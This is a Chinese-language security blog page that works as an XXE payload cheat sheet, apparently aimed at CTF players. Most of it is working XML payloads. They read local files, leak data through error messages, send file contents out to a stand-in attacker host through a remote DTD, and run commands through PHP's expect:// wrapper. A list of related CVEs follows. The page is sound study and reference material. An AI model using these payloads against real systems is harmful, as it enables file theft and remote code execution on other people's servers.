Eki's blog Eki's blog
Home
  • Library

    • PHP
    • JAVA
    • Node
    • Python
  • Contest

    • D3CTF 2021 Write Up
    • 虎符CTF2021
    • 2021 红帽 Web Write Up
  • Problem Set

    • Ethernaut Write Up
Pentest
Develop
  • Friends
About
  • Website
  • Tools
  • Categories
  • Tags
  • Archives
GitHub (opens new window)

Eki

Dreamer of Dreams
Home
  • Library

    • PHP
    • JAVA
    • Node
    • Python
  • Contest

    • D3CTF 2021 Write Up
    • 虎符CTF2021
    • 2021 红帽 Web Write Up
  • Problem Set

    • Ethernaut Write Up
Pentest
Develop
  • Friends
About
  • Website
  • Tools
  • Categories
  • Tags
  • Archives
GitHub (opens new window)
  • Catalogue

    • PHP安全速查
    • JAVA安全速查
  • 隐写术
  • PHP

  • protocol
  • Java

  • Node

  • Python

  • Golang

  • Arbitrary Code Execution
  • Shell
  • SQLi
  • SSRF
  • SSTI
  • lfi
  • XSS
  • XXE
    • 外部实体 (libxml < 2.90)
    • Blind-XXE 引用本地DTD
    • Blind-XXE 引用外部DTD
    • 嵌套参数实体
    • except:// PHP扩展协议协议RCE
    • 相关cve
    • 参考资料
  • convert
  • .htaccess文件利用
  • 序列化与反序列化问题小结
  • CTF
Eki
2021-05-10
目录

XXE

# XXE

# 外部实体 (libxml < 2.90)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
 <!ENTITY xxe SYSTEM "file:///flag">
 ]>

 <userInfo>
  <name>&xxe;</name>
 </userInfo>
1
2
3
4
5
6
7
8

# Blind-XXE 引用本地DTD

利用 ISOamsa

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa '
        <!ENTITY &#x25; file SYSTEM "file:///flag">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
'>
    %local_dtd;
]
1
2
3
4
5
6
7
8
9
10
11

# Blind-XXE 引用外部DTD

XML payload

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE message [
    <!ENTITY % remote SYSTEM "http://<attacker-ip>/a.dtd">  
    <!ENTITY % file SYSTEM "file:///flag">
    %remote;
    %send;
]>
<message>eki</message>
1
2
3
4
5
6
7
8

DTD payload

<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://attacker-ip?%file;'>">
%start;
1
2

# 嵌套参数实体

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ELEMENT message ANY>
    <!ENTITY % para1 SYSTEM "file:///flag">
    <!ENTITY % para '
        <!ENTITY &#x25; para2 "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///&#x25;para1;&#x27;>">
        &#x25;para2;
    '>
    %para;
]>
<message>eki</message>
1
2
3
4
5
6
7
8
9
10
11

# except:// PHP扩展协议协议RCE

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
 <!ENTITY xxe SYSTEM "expect://id">
 ]>

 <userInfo>
  <name>&xxe;</name>
 </userInfo>
1
2
3
4
5
6
7
8

# 相关cve

  • CVE-2014-3529 apache poi < 3.10.1 https://xz.aliyun.com/t/6996#toc-3

  • CVE-2019-12415 https://b1ue.cn/archives/241.html

# 参考资料

一篇文章带你深入理解漏洞之 XXE 漏洞

https://xz.aliyun.com/t/3357

Blind XXE详解与Google CTF一道题分析

https://www.freebuf.com/vuls/207639.html

DTD Cheat Sheet

https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html

编辑 (opens new window)
#XXE
上次更新: 2021/05/11, 08:36:49
XSS
convert

← XSS convert→

最近更新
01
QWB CTF2022 线下赛总决赛部分题解
08-25
02
CISCN2022 总决赛部分题解
08-25
03
DSCTF2022决赛 部分writeup
08-08
更多文章>
Theme by Vdoing | Copyright © 2019-2022 EkiXu | Creative Commons License
This work is licensed under a Creative Commons Attribution 4.0 International License.
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式